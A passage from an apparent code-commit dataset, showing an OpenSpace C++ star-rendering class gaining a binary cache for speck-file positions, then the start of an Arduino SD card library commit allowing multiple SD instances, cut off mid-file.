vector\n\t\tstd::istringstream ss(datastr);\n\t\tstd::copy(std::istream_iterator<std::string>(ss),\n\t\t\t      std::istream_iterator<std::string>(),\n\t\t\t      std::back_inserter<std::vector<std::string> >(strvec));\n\t\tss.clear();\n\t\t\/\/ conv. string vector to doubles\n\t\tdoubleData.reserve(strvec.size());\n\t\ttransform(strvec.begin(), strvec.end(), back_inserter(doubleData),\n\t\t\t\t  [](std::string const& val) {return std::stod(val); });\n\n\t\t\/\/ convert to powerscaled coordinate\n\t\tpsc powerscaled = PowerScaledCoordinate::CreatePowerScaledCoordinate(doubleData[0],\n\t\t\t                                                                 doubleData[1], \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t                     doubleData[2]);\n\t\tfor ( int i = 0; i < 4; i++ ) \n\t\t\tpositions.push_back(powerscaled[i]);\n\t\tstrvec.clear();\n\t\tdoubleData.clear();\n\t\tcount++;\n\t} while (file.good());\n\n\t\/\/ pass in the vectors internal array to create vbo method\n\t\/\/ v_size = positions.size();\n\t\/\/_starPositionsVBO = createVBO(&positions[0], v_size*sizeof(GLdouble), GL_ARRAY_BUFFER, GL_DYNAMIC_DRAW);\n\n\treturn true;\n}\n\nbool RenderableStars::initialize(){\n\tbool completeSuccess = true;\n\tif (_programObject == nullptr)\n\t\tcompleteSuccess &= OsEng.ref().configurationManager().getValue(\"pscShader\", _programObject);\n\t\n\tif (!readSpeckFile(_speckPath)) \n\t\tLERROR(\"Failed to read speck file for path : '\" << _speckPath << \"'\");\n\n\t\/*\n\tloadTexture();\n\tcompleteSuccess &= (_texture != nullptr);\n\n\tcompleteSuccess &= _geometry->initialize(this);\n\t*\/\n\treturn completeSuccess;\n}\n\nbool RenderableStars::deinitialize(){\n\t\/\/ TODO: set private VBO and deinitialize here.. \n\t\/*_geometry->deinitialize();\n\tdelete _geometry;\n\t_geometry = nullptr;\n\tdelete _texture;\n\t_texture = nullptr;*\/\n\tglDeleteBuffers(1, &_starPositionsVBO);\n\treturn true;\n}\n\nvoid RenderableStars::render(const Camera* camera, const psc& thisPosition){\n\tassert(_programObject);\n\n\t\/\/ activate shader\n\t_programObject->activate();\n\n\tpsc currentPosition = thisPosition;\n\tpsc campos = camera->position();\n\tglm::mat4 camrot = camera->viewRotationMatrix();\n\tPowerScaledScalar scaling = camera->scaling();\n\n\tglm::mat4 transform = glm::mat4(1);\n\t_programObject->setUniform(\"ViewProjection\", camera->viewProjectionMatrix());\n\t_programObject->setUniform(\"ModelTransform\", transform);\n\t_programObject->setUniform(\"campos\", campos.vec4());\n\t_programObject->setUniform(\"objpos\", currentPosition.vec4());\n\t_programObject->setUniform(\"camrot\", camrot);\n\t_programObject->setUniform(\"scaling\", scaling.vec2());\n\t\n\tglColor4f(1.f, 1.f, 1.f, 1.f);\n\tglBindBuffer(GL_ARRAY_BUFFER, _starPositionsVBO);\n\tglVertexPointer(4, GL_FLOAT, 0, 0);\n\tglEnableClientState(GL_VERTEX_ARRAY);\n\n\tglDrawArrays(GL_POINTS, 0, 4*v_size);\n\tglDisableClientState(GL_VERTEX_ARRAY);\n\tglBindBuffer(GL_ARRAY_BUFFER, 0);\n\n\n\t\/*\n\t\/\/ REQUIRES OWN SHADER. \n\tGLint vertexLoc = _programObject->attributeLocation(\"in_position\");\n\tglEnableVertexAttribArray(vertexLoc);\n\tglBindBuffer(GL_ARRAY_BUFFER, _starPositionsVBO);\n\tglVertexAttribPointer(vertexLoc,                 \/\/ attribute\n\t\t\t\t\t\t\t\t  4,                 \/\/ size\n\t\t\t\t\t\t\t\t  GL_DOUBLE,          \/\/ type\n\t\t\t\t\t\t\t\t  GL_FALSE,          \/\/ normalized?\n\t\t\t\t\t\t\t\t  0,                 \/\/ stride\n\t\t\t\t\t\t\t\t  (void*)0);\n\n\tglDrawElements(GL_POINTS,         \/\/ mode\n\t\t           v_size\/4,            \/\/ count\n\t\t\t\t   GL_DOUBLE,   \/\/ type\n\t\t\t\t   (void*)0);         \/\/ element array buffer offset\n\t\t\t\t   *\/\n\t_programObject->deactivate();\n\n}\n\nvoid RenderableStars::update()\n{\n}\n\n\t\n}<commit_msg>Read mechanism now creates\/reads cached binary.<commit_after>\/*****************************************************************************************\n*                                                                                       *\n* OpenSpace                                                                             *\n*                                                                                       *\n* Copyright (c) 2014                                                                    *\n*                                                                                       *\n* Permission is hereby granted, free of charge, to any person obtaining a copy of this  *\n* software and associated documentation files (the \"Software\"), to deal in the Software *\n* without restriction, including without limitation the rights to use, copy, modify,    *\n* merge, publish, distribute, sublicense, and\/or sell copies of the Software, and to    *\n* permit persons to whom the Software is furnished to do so, subject to the following   *\n* conditions:                                                                           *\n*                                                                                       *\n* The above copyright notice and this permission notice shall be included in all copies *\n* or substantial portions of the Software.                                              *\n*                                                                                       *\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,   *\n* INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A         *\n* PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT    *\n* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF  *\n* CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE  *\n* OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.                                         *\n****************************************************************************************\/\n\n\/\/standard includes \n#include <iostream>\n#include <fstream>\n#include <limits>\n#include <vector>\n\n\/\/ open space includes\n#include <openspace\/rendering\/stars\/renderablestars.h>\n#include <openspace\/util\/constants.h>\n#include <ghoul\/filesystem\/filesystem.h>\n#include <openspace\/engine\/openspaceengine.h>\n#include <sgct.h>\n\nnamespace {\n\tconst std::string _loggerCat = \"RenderableStars\";\n}\n\nnamespace openspace {\nRenderableStars::RenderableStars(const ghoul::Dictionary& dictionary)\n\t: Renderable(dictionary),\n\t_programObject(nullptr){\n\n\tstd::string path;\n\tdictionary.getValue(constants::renderablestars::keySpeckFile, path);\n\t_speckPath = FileSys.absolutePath(path);\n}\n\nRenderableStars::~RenderableStars(){\n\tdeinitialize();\n}\n\nGLuint createVBO(const void* data, int dataSize, GLenum target, GLenum usage){\n\tGLuint id = 0;  \/\/ 0 is reserved, glGenBuffersARB() will return non-zero id if success\n\tglGenBuffers(1, &id);                        \/\/ create a vbo\n\tglBindBuffer(target, id);                    \/\/ activate vbo id to use\n\tglBufferData(target, dataSize, data, usage); \/\/ upload data to video card\n\n\t\/\/ check data size in VBO is same as input array, if not return 0 and delete VBO\n\tint bufferSize = 0;\n\tglGetBufferParameteriv(target, GL_BUFFER_SIZE, &bufferSize);\n\tif (dataSize != bufferSize)\n\t{\n\t\tglDeleteBuffers(1, &id);\n\t\tid = 0;\n\t\tprintf(\"[createVBO()] Data size is mismatch with input array\\n\");\n\t}\n\tglBindBuffer(target, 0);\n\treturn id;      \/\/ return VBO id\n}\n\nstd::ifstream& RenderableStars::skipToLine(std::ifstream& file, unsigned int num){\n\tfile.seekg(std::ios::beg);\n\tfor (int i = 0; i < num - 1; ++i){\n\t\tfile.ignore(std::numeric_limits<std::streamsize>::max(), '\\n');\n\t}\n\treturn file;\n}\n\nbool RenderableStars::readSpeckFile(const std::string& path){\n\tstd::ifstream file;\n\tstd::string str, starDescription, datastr;\n\tstd::vector<std::string> strvec;\n\tstd::vector<double> positions;\n\tstd::vector<double> doubleData;\n    int count = 0;\n\t\n\tconst std::string absPath = FileSys.absolutePath(path);\n\tstd::string::size_type last\n\t\t= absPath.find_last_of(ghoul::filesystem::FileSystem::PathSeparator);\n\tif (last == std::string::npos) return false;\n\tstd::string cacheName = absPath.substr(last + 1, absPath.size() - absPath.rfind('.') - 1);\n\tstd::string basePath = absPath.substr(0, last);\n\tcacheName = basePath + \"\\\\\" + cacheName + \".bin\";\n\n\t\/\/ check if cache exists, if not create it. \n\tif (!FileSys.fileExists(cacheName)){ \n\t\tstd::ofstream cache;\n\t\tcache.open(cacheName, std::ios::binary);\n\t\n\t\tfile.open(absPath);\n\t\tif (!file.is_open()){\n\t\t\tLERROR(\"Failed to open spec file for : '\" << path << \"'\");\n\t\t\treturn false;\n\t\t}\n\t\t\/\/ count metadata lines to skip.\n\t\tdo{\n\t\t\tgetline(file, str);\n\t\t\tcount++;\n\t\t} while (str[0] != ' ');\n\t\t\/\/ set seek pointer to first line with actual data\n\t\tskipToLine(file, count);\n\t\tcount = 0;\n\t\n\t\tdo{ \n\t\t\tgetline(file, str);\n\t\t\tif (file.eof()) break;\n\t\t\t\/\/ split the line on pound symbol. \n\t\t    std::size_t mid = str.find('#');\n\t\t\tif (mid != std::string::npos){\n\t\t\t\tdatastr = str.substr(0, mid);\n\t\t\t\tstd::size_t end = str.find('\\n');\n\t\t\t\tif (end == std::string::npos)\n\t\t\t\t\tstarDescription = str.substr(mid, end);\n\t\t\t} \n\t\t\t\/\/ split data string on whitespace to vector\n\t\t\tstd::istringstream ss(datastr);\n\t\t\tstd::copy(std::istream_iterator<std::string>(ss),\n\t\t\t\t\t  std::istream_iterator<std::string>(),\n\t\t\t\t\t  std::back_inserter<std::vector<std::string> >(strvec));\n\t\t\tss.clear();\n\t\t\t\/\/ conv. string vector to doubles\n\t\t\tdoubleData.reserve(strvec.size());\n\t\t\ttransform(strvec.begin(), strvec.end(), back_inserter(doubleData),\n\t\t\t\t\t  [](std::string const& val) {return std::stod(val); });\n\n\t\t\t\/\/ convert to powerscaled coordinate\n\t\t\tconst psc powerscaled = PowerScaledCoordinate::CreatePowerScaledCoordinate(doubleData[0],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t   doubleData[1], \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t   doubleData[2]);\n\t\t\tfor (int i = 0; i < 4; i++){\n\t\t\t\tpositions.push_back(powerscaled[i]);\n\t\t\t\tcache << ' ' << powerscaled[i];\n\t\t\t}\n\t\t\tstrvec.clear();\n\t\t\tdoubleData.clear();\n\t\t\tcount++;\n\t\t} while (file.good());\n\t}\n\telse \/\/ read cached positions\n\t{\n\t\tLINFO(\"Found cached data, loading\");\n\t\tfile.open(cacheName, std::ios::binary);\n\t\twhile (file.good()){\n\t\t\tif (file.eof()) break;\n\t\t\tdouble cachedValue;\n\t\t\tfile >> cachedValue;\n\t\t\tpositions.push_back(cachedValue);\n\t\t}\n\t}\n\t\/\/ pass in the vectors internal array to create vbo method\n\tv_size = positions.size();\n\tstd::cout << v_size << std::endl;\n\n\t_starPositionsVBO = createVBO(&positions[0], v_size*sizeof(GLdouble), GL_ARRAY_BUFFER, GL_DYNAMIC_DRAW);\n\n\treturn true;\n}\n\nbool RenderableStars::initialize(){\n\tbool completeSuccess = true;\n\tif (_programObject == nullptr)\n\t\tcompleteSuccess &= OsEng.ref().configurationManager().getValue(\"pscShader\", _programObject);\n\t\n\tif (!readSpeckFile(_speckPath)) \n\t\tLERROR(\"Failed to read speck file for path : '\" << _speckPath << \"'\");\n\n\t\/*\n\tloadTexture();\n\tcompleteSuccess &= (_texture != nullptr);\n\n\tcompleteSuccess &= _geometry->initialize(this);\n\t*\/\n\treturn completeSuccess;\n}\n\nbool RenderableStars::deinitialize(){\n\t\/\/ TODO: set private VBO and deinitialize here.. \n\t\/*_geometry->deinitialize();\n\tdelete _geometry;\n\t_geometry = nullptr;\n\tdelete _texture;\n\t_texture = nullptr;*\/\n\tglDeleteBuffers(1, &_starPositionsVBO);\n\treturn true;\n}\n\nvoid RenderableStars::render(const Camera* camera, const psc& thisPosition){\n\tassert(_programObject);\n\n\t\/\/ activate shader\n\t_programObject->activate();\n\n\tpsc currentPosition = thisPosition;\n\tpsc campos = camera->position();\n\tglm::mat4 camrot = camera->viewRotationMatrix();\n\tPowerScaledScalar scaling = camera->scaling();\n\n\tglm::mat4 transform = glm::mat4(1);\n\t_programObject->setUniform(\"ViewProjection\", camera->viewProjectionMatrix());\n\t_programObject->setUniform(\"ModelTransform\", transform);\n\t_programObject->setUniform(\"campos\", campos.vec4());\n\t_programObject->setUniform(\"objpos\", currentPosition.vec4());\n\t_programObject->setUniform(\"camrot\", camrot);\n\t_programObject->setUniform(\"scaling\", scaling.vec2());\n\t\n\tglColor4f(1.f, 1.f, 1.f, 1.f);\n\tglBindBuffer(GL_ARRAY_BUFFER, _starPositionsVBO);\n\tglVertexPointer(4, GL_FLOAT, 0, 0);\n\tglEnableClientState(GL_VERTEX_ARRAY);\n\n\tglDrawArrays(GL_POINTS, 0, 4*v_size);\n\tglDisableClientState(GL_VERTEX_ARRAY);\n\tglBindBuffer(GL_ARRAY_BUFFER, 0);\n\n\n\t\/*\n\t\/\/ REQUIRES OWN SHADER. \n\tGLint vertexLoc = _programObject->attributeLocation(\"in_position\");\n\tglEnableVertexAttribArray(vertexLoc);\n\tglBindBuffer(GL_ARRAY_BUFFER, _starPositionsVBO);\n\tglVertexAttribPointer(vertexLoc,                 \/\/ attribute\n\t\t\t\t\t\t\t\t  4,                 \/\/ size\n\t\t\t\t\t\t\t\t  GL_DOUBLE,          \/\/ type\n\t\t\t\t\t\t\t\t  GL_FALSE,          \/\/ normalized?\n\t\t\t\t\t\t\t\t  0,                 \/\/ stride\n\t\t\t\t\t\t\t\t  (void*)0);\n\n\tglDrawElements(GL_POINTS,         \/\/ mode\n\t\t           v_size\/4,            \/\/ count\n\t\t\t\t   GL_DOUBLE,   \/\/ type\n\t\t\t\t   (void*)0);         \/\/ element array buffer offset\n\t\t\t\t   *\/\n\t_programObject->deactivate();\n\n}\n\nvoid RenderableStars::update()\n{\n}\n\n\t\n}<|endoftext|>"}
{"text":"<commit_before>\/*\n\n SD - a slightly more friendly wrapper for sdfatlib\n\n This library aims to expose a subset of SD card functionality\n in the form of a higher level \"wrapper\" object.\n\n License: GNU General Public License V3\n          (Because sdfatlib is licensed with this.)\n\n (C) Copyright 2010 SparkFun Electronics\n\n\n This library provides four key benefits:\n\n   * Including `SD.h` automatically creates a global\n     `SD` object which can be interacted with in a similar\n     manner to other standard global objects like `Serial` and `Ethernet`.\n\n   * Boilerplate initialisation code is contained in one method named \n     `begin` and no further objects need to be created in order to access\n     the SD card.\n\n   * Calls to `open` can supply a full path name including parent \n     directories which simplifies interacting with files in subdirectories.\n\n   * Utility methods are provided to determine whether a file exists\n     and to create a directory heirarchy.\n\n\n  Note however that not all functionality provided by the underlying\n  sdfatlib library is exposed.\n\n *\/\n\n\/*\n\n  Implementation Notes\n\n  In order to handle multi-directory path traversal, functionality that \n  requires this ability is implemented as callback functions.\n\n  Individual methods call the `walkPath` function which performs the actual\n  directory traversal (swapping between two different directory\/file handles\n  along the way) and at each level calls the supplied callback function.\n\n  Some types of functionality will take an action at each level (e.g. exists\n  or make directory) which others will only take an action at the bottom\n  level (e.g. open).\n\n *\/\n\n#include \"SD.h\"\n\n\/\/ Used by `getNextPathComponent`\n#define MAX_COMPONENT_LEN 12 \/\/ What is max length?\n#define PATH_COMPONENT_BUFFER_LEN MAX_COMPONENT_LEN+1\n\nbool getNextPathComponent(char *path, unsigned int *p_offset,\n\t\t\t  char *buffer) {\n  \/*\n\n    Parse individual path components from a path.\n\n      e.g. after repeated calls '\/foo\/bar\/baz' will be split\n           into 'foo', 'bar', 'baz'.\n\n    This is similar to `strtok()` but copies the component into the\n    supplied buffer rather than modifying the original string.\n\n\n    `buffer` needs to be PATH_COMPONENT_BUFFER_LEN in size.\n\n    `p_offset` needs to point to an integer of the offset at\n    which the previous path component finished.\n\n    Returns `true` if more components remain.\n\n    Returns `false` if this is the last component.\n      (This means path ended with 'foo' or 'foo\/'.)\n\n   *\/\n\n  \/\/ TODO: Have buffer local to this function, so we know it's the\n  \/\/       correct length?\n\n  int bufferOffset = 0;\n\n  int offset = *p_offset;\n\n  \/\/ Skip root or other separator\n  if (path[offset] == '\/') {\n    offset++;\n  }\n  \n  \/\/ Copy the next next path segment\n  while (bufferOffset < MAX_COMPONENT_LEN\n\t && (path[offset] != '\/')\n\t && (path[offset] != '\\0')) {\n    buffer[bufferOffset++] = path[offset++];\n  }\n\n  buffer[bufferOffset] = '\\0';\n\n  \/\/ Skip trailing separator so we can determine if this\n  \/\/ is the last component in the path or not.\n  if (path[offset] == '\/') {\n    offset++;\n  }\n\n  *p_offset = offset;\n\n  return (path[offset] != '\\0');\n}\n\n\n\nboolean walkPath(char *filepath, SdFile& parentDir,\n\t\t boolean (*callback)(SdFile& parentDir,\n\t\t\t\t     char *filePathComponent,\n\t\t\t\t     boolean isLastComponent,\n\t\t\t\t     void *object),\n\t\t void *object = NULL) {\n  \/*\n     \n     When given a file path (and parent directory--normally root),\n     this function traverses the directories in the path and at each\n     level calls the supplied callback function while also providing\n     the supplied object for context if required.\n\n       e.g. given the path '\/foo\/bar\/baz'\n            the callback would be called at the equivalent of\n\t    '\/foo', '\/foo\/bar' and '\/foo\/bar\/baz'.\n\n     The implementation swaps between two different directory\/file\n     handles as it traverses the directories and does not use recursion\n     in an attempt to use memory efficiently.\n\n     If a callback wishes to stop the directory traversal it should\n     return false--in this case the function will stop the traversal,\n     tidy up and return false.\n\n     If a directory path doesn't exist at some point this function will\n     also return false and not subsequently call the callback.\n\n     If a directory path specified is complete, valid and the callback\n     did not indicate the traversal should be interrupted then this\n     function will return true.\n\n   *\/\n\n\n  SdFile subfile1;\n  SdFile subfile2;\n\n  char buffer[PATH_COMPONENT_BUFFER_LEN]; \n\n  unsigned int offset = 0;\n\n  SdFile *p_parent;\n  SdFile *p_child;\n\n  SdFile *p_tmp_sdfile;  \n  \n  p_child = &subfile1;\n  \n  p_parent = &parentDir;\n\n  while (true) {\n\n    boolean moreComponents = getNextPathComponent(filepath, &offset, buffer);\n\n    boolean shouldContinue = callback((*p_parent), buffer, !moreComponents, object);\n\n    if (!shouldContinue) {\n      \/\/ TODO: Don't repeat this code?\n      \/\/ If it's one we've created then we\n      \/\/ don't need the parent handle anymore.\n      if (p_parent != &parentDir) {\n        (*p_parent).close();\n      }\n      return false;\n    }\n    \n    if (!moreComponents) {\n      break;\n    }\n    \n    boolean exists = (*p_child).open(*p_parent, buffer, O_RDONLY);\n\n    \/\/ If it's one we've created then we\n    \/\/ don't need the parent handle anymore.\n    if (p_parent != &parentDir) {\n      (*p_parent).close();\n    }\n    \n    \/\/ Handle case when it doesn't exist and we can't continue...\n    if (exists) {\n      \/\/ We alternate between two file handles as we go down\n      \/\/ the path.\n      if (p_parent == &parentDir) {\n        p_parent = &subfile2;\n      }\n\n      p_tmp_sdfile = p_parent;\n      p_parent = p_child;\n      p_child = p_tmp_sdfile;\n    } else {\n      return false;\n    }\n  }\n  \n  if (p_parent != &parentDir) {\n    (*p_parent).close(); \/\/ TODO: Return\/ handle different?\n  }\n\n  return true;\n}\n\n\n\n\/*\n\n   The callbacks used to implement various functionality follow.\n\n   Each callback is supplied with a parent directory handle,\n   character string with the name of the current file path component,\n   a flag indicating if this component is the last in the path and\n   a pointer to an arbitrary object used for context.\n\n *\/\n\nboolean callback_pathExists(SdFile& parentDir, char *filePathComponent, \n\t\t\t    boolean isLastComponent, void *object) {\n  \/*\n\n    Callback used to determine if a file\/directory exists in parent\n    directory.\n\n    Returns true if file path exists.\n\n  *\/\n  SdFile child;\n\n  boolean exists = child.open(parentDir, filePathComponent, O_RDONLY);\n  \n  if (exists) {\n     child.close(); \n  }\n  \n  return exists;\n}\n\n\n\nboolean callback_makeDirPath(SdFile& parentDir, char *filePathComponent, \n\t\t\t     boolean isLastComponent, void *object) {\n  \/*\n\n    Callback used to create a directory in the parent directory if\n    it does not already exist.\n\n    Returns true if a directory was created or it already existed.\n\n  *\/\n  boolean result = false;\n  SdFile child;\n  \n  result = callback_pathExists(parentDir, filePathComponent, isLastComponent, object);\n  if (!result) {\n    result = child.makeDir(parentDir, filePathComponent);\n  } \n  \n  return result;\n}\n\n\n  \/*\n\nboolean callback_openPath(SdFile& parentDir, char *filePathComponent, \n\t\t\t  boolean isLastComponent, void *object) {\n\n    Callback used to open a file specified by a filepath that may\n    specify one or more directories above it.\n\n    Expects the context object to be an instance of `SDClass` and\n    will use the `file` property of the instance to open the requested\n    file\/directory with the associated file open mode property.\n\n    Always returns true if the directory traversal hasn't reached the\n    bottom of the directory heirarchy.\n\n    Returns false once the file has been opened--to prevent the traversal\n    from descending further. (This may be unnecessary.)\n\n  if (isLastComponent) {\n    SDClass *p_SD = static_cast<SDClass*>(object);\n    p_SD->file.open(parentDir, filePathComponent, p_SD->fileOpenMode);\n    if (p_SD->fileOpenMode == FILE_WRITE) {\n      p_SD->file.seekSet(p_SD->file.fileSize());\n    }\n    \/\/ TODO: Return file open result?\n    return false;\n  }\n  return true;\n}\n  *\/\n\n\n\nboolean callback_remove(SdFile& parentDir, char *filePathComponent, \n\t\t\tboolean isLastComponent, void *object) {\n  if (isLastComponent) {\n    return SdFile::remove(parentDir, filePathComponent);\n  }\n  return true;\n}\n\nboolean callback_rmdir(SdFile& parentDir, char *filePathComponent, \n\t\t\tboolean isLastComponent, void *object) {\n  if (isLastComponent) {\n    SdFile f;\n    if (!f.open(parentDir, filePathComponent, O_READ)) return false;\n    return f.rmDir();\n  }\n  return true;\n}\n\n\n\n\/* Implementation of class used to create `SDCard` object. *\/\n\n\n\nboolean SDClass::begin(uint8_t csPin) {\n  \/*\n\n    Performs the initialisation required by the sdfatlib library.\n\n    Return true if initialization succeeds, false otherwise.\n\n   *\/\n  return card.init(SPI_HALF_SPEED, csPin) &&\n         volume.init(card) &&\n         root.openRoot(volume);\n}\n\n\n\n\/\/ this little helper is used to traverse paths\nSdFile SDClass::getParentDir(const char *filepath, int *index) {\n  \/\/ get parent directory\n  SdFile d1 = root; \/\/ start with the mostparent, root!\n  SdFile d2;\n\n  \/\/ we'll use the pointers to swap between the two objects\n  SdFile *parent = &d1;\n  SdFile *subdir = &d2;\n  \n  const char *origpath = filepath;\n\n  while (strchr(filepath, '\/')) {\n\n    \/\/ get rid of leading \/'s\n    if (filepath[0] == '\/') {\n      filepath++;\n      continue;\n    }\n    \n    if (! strchr(filepath, '\/')) {\n      \/\/ it was in the root directory, so leave now\n      break;\n    }\n\n    \/\/ extract just the name of the next subdirectory\n    uint8_t idx = strchr(filepath, '\/') - filepath;\n    if (idx > 12)\n      idx = 12;    \/\/ dont let them specify long names\n    char subdirname[13];\n    strncpy(subdirname, filepath, idx);\n    subdirname[idx] = 0;\n\n    \/\/ close the subdir (we reuse them) if open\n    subdir->close();\n    if (! subdir->open(parent, subdirname, O_READ)) {\n      \/\/ failed to open one of the subdirectories\n      return SdFile();\n    }\n    \/\/ move forward to the next subdirectory\n    filepath += idx;\n\n    \/\/ we reuse the objects, close it.\n    parent->close();\n\n    \/\/ swap the pointers\n    SdFile *t = parent;\n    parent = subdir;\n    subdir = t;\n  }\n\n  *index = (int)(filepath - origpath);\n  \/\/ parent is now the parent diretory of the file!\n  return *parent;\n}\n\n\nFile SDClass::open(const char *filepath, uint8_t mode) {\n  \/*\n\n     Open the supplied file path for reading or writing.\n\n     The file content can be accessed via the `file` property of\n     the `SDClass` object--this property is currently\n     a standard `SdFile` object from `sdfatlib`.\n\n     Defaults to read only.\n\n     If `write` is true, default action (when `append` is true) is to\n     append data to the end of the file.\n\n     If `append` is false then the file will be truncated first.\n\n     If the file does not exist and it is opened for writing the file\n     will be created.\n\n     An attempt to open a file for reading that does not exist is an\n     error.\n\n   *\/\n\n  int pathidx;\n\n  \/\/ do the interative search\n  SdFile parentdir = getParentDir(filepath, &pathidx);\n  \/\/ no more subdirs!\n\n  filepath += pathidx;\n\n  if (! filepath[0]) {\n    \/\/ it was the directory itself!\n    return File(parentdir, \"\/\");\n  }\n\n  \/\/ Open the file itself\n  SdFile file;\n\n  \/\/ failed to open a subdir!\n  if (!parentdir.isOpen())\n    return File();\n\n  \/\/ there is a special case for the Root directory since its a static dir\n  if (parentdir.isRoot()) {\n    if ( ! file.open(SD.root, filepath, mode)) {\n      \/\/ failed to open the file :(\n      return File();\n    }\n    \/\/ dont close the root!\n  } else {\n    if ( ! file.open(parentdir, filepath, mode)) {\n      return File();\n    }\n    \/\/ close the parent\n    parentdir.close();\n  }\n\n  if (mode & (O_APPEND | O_WRITE)) \n    file.seekSet(file.fileSize());\n  return File(file, filepath);\n}\n\n\n\/*\nFile SDClass::open(char *filepath, uint8_t mode) {\n  \/\/\n\n     Open the supplied file path for reading or writing.\n\n     The file content can be accessed via the `file` property of\n     the `SDClass` object--this property is currently\n     a standard `SdFile` object from `sdfatlib`.\n\n     Defaults to read only.\n\n     If `write` is true, default action (when `append` is true) is to\n     append data to the end of the file.\n\n     If `append` is false then the file will be truncated first.\n\n     If the file does not exist and it is opened for writing the file\n     will be created.\n\n     An attempt to open a file for reading that does not exist is an\n     error.\n\n   \/\/\n\n  \/\/ TODO: Allow for read&write? (Possibly not, as it requires seek.)\n\n  fileOpenMode = mode;\n  walkPath(filepath, root, callback_openPath, this);\n\n  return File();\n\n}\n*\/\n\n\n\/\/boolean SDClass::close() {\n\/\/  \/*\n\/\/\n\/\/    Closes the file opened by the `open` method.\n\/\/\n\/\/   *\/\n\/\/  file.close();\n\/\/}\n\n\nboolean SDClass::exists(char *filepath) {\n  \/*\n\n     Returns true if the supplied file path exists.\n\n   *\/\n  return walkPath(filepath, root, callback_pathExists);\n}\n\n\n\/\/boolean SDClass::exists(char *filepath, SdFile& parentDir) {\n\/\/  \/*\n\/\/\n\/\/     Returns true if the supplied file path rooted at `parentDir`\n\/\/     exists.\n\/\/\n\/\/   *\/\n\/\/  return walkPath(filepath, parentDir, callback_pathExists);\n\/\/}\n\n\nboolean SDClass::mkdir(char *filepath) {\n  \/*\n  \n    Makes a single directory or a heirarchy of directories.\n\n    A rough equivalent to `mkdir -p`.\n  \n   *\/\n  return walkPath(filepath, root, callback_makeDirPath);\n}\n\nboolean SDClass::rmdir(char *filepath) {\n  \/*\n  \n    Remove a single directory or a heirarchy of directories.\n\n    A rough equivalent to `rm -rf`.\n  \n   *\/\n  return walkPath(filepath, root, callback_rmdir);\n}\n\nboolean SDClass::remove(char *filepath) {\n  return walkPath(filepath, root, callback_remove);\n}\n\n\n\/\/ allows you to recurse into a directory\nFile File::openNextFile(uint8_t mode) {\n  dir_t p;\n\n  \/\/Serial.print(\"\\t\\treading dir...\");\n  while (_file->readDir(&p) > 0) {\n\n    \/\/ done if past last used entry\n    if (p.name[0] == DIR_NAME_FREE) {\n      \/\/Serial.println(\"end\");\n      return File();\n    }\n\n    \/\/ skip deleted entry and entries for . and  ..\n    if (p.name[0] == DIR_NAME_DELETED || p.name[0] == '.') {\n      \/\/Serial.println(\"dots\");\n      continue;\n    }\n\n    \/\/ only list subdirectories and files\n    if (!DIR_IS_FILE_OR_SUBDIR(&p)) {\n      \/\/Serial.println(\"notafile\");\n      continue;\n    }\n\n    \/\/ print file name with possible blank fill\n    SdFile f;\n    char name[13];\n    _file->dirName(p, name);\n    \/\/Serial.print(\"try to open file \");\n    \/\/Serial.println(name);\n\n    if (f.open(_file, name, mode)) {\n      \/\/Serial.println(\"OK!\");\n      return File(f, name);    \n    } else {\n      \/\/Serial.println(\"ugh\");\n      return File();\n    }\n  }\n\n  \/\/Serial.println(\"nothing\");\n  return File();\n}\n\nvoid File::rewindDirectory(void) {  \n  if (isDirectory())\n    _file->rewind();\n}\n\nSDClass SD;\n<commit_msg>SD: allow multiple SD instances<commit_after>\/*\n\n SD - a slightly more friendly wrapper for sdfatlib\n\n This library aims to expose a subset of SD card functionality\n in the form of a higher level \"wrapper\" object.\n\n License: GNU General Public License V3\n          (Because sdfatlib is licensed with this.)\n\n (C) Copyright 2010 SparkFun Electronics\n\n\n This library provides four key benefits:\n\n   * Including `SD.h` automatically creates a global\n     `SD` object which can be interacted with in a similar\n     manner to other standard global objects like `Serial` and `Ethernet`.\n\n   * Boilerplate initialisation code is contained in one method named \n     `begin` and no further objects need to be created in order to access\n     the SD card.\n\n   * Calls to `open` can supply a full path name including parent \n     directories which simplifies interacting with files in subdirectories.\n\n   * Utility methods are provided to determine whether a file exists\n     and to create a directory heirarchy.\n\n\n  Note however that not all functionality provided by the underlying\n  sdfatlib library is exposed.\n\n *\/\n\n\/*\n\n  Implementation Notes\n\n  In order to handle multi-directory path traversal, functionality that \n  requires this ability is implemented as callback functions.\n\n  Individual methods call the `walkPath` function which performs the actual\n  directory traversal (swapping between two different directory\/file handles\n  along the way) and at each level calls the supplied callback function.\n\n  Some types of functionality will take an action at each level (e.g. exists\n  or make directory) which others will only take an action at the bottom\n  level (e.g. open).\n\n *\/\n\n#include \"SD.h\"\n\n\/\/ Used by `getNextPathComponent`\n#define MAX_COMPONENT_LEN 12 \/\/ What is max length?\n#define PATH_COMPONENT_BUFFER_LEN MAX_COMPONENT_LEN+1\n\nbool getNextPathComponent(char *path, unsigned int *p_offset,\n\t\t\t  char *buffer) {\n  \/*\n\n    Parse individual path components from a path.\n\n      e.g. after repeated calls '\/foo\/bar\/baz' will be split\n           into 'foo', 'bar', 'baz'.\n\n    This is similar to `strtok()` but copies the component into the\n    supplied buffer rather than modifying the original string.\n\n\n    `buffer` needs to be PATH_COMPONENT_BUFFER_LEN in size.\n\n    `p_offset` needs to point to an integer of the offset at\n    which the previous path component finished.\n\n    Returns `true` if more components remain.\n\n    Returns `false` if this is the last component.\n      (This means path ended with 'foo' or 'foo\/'.)\n\n   *\/\n\n  \/\/ TODO: Have buffer local to this function, so we know it's the\n  \/\/       correct length?\n\n  int bufferOffset = 0;\n\n  int offset = *p_offset;\n\n  \/\/ Skip root or other separator\n  if (path[offset] == '\/') {\n    offset++;\n  }\n  \n  \/\/ Copy the next 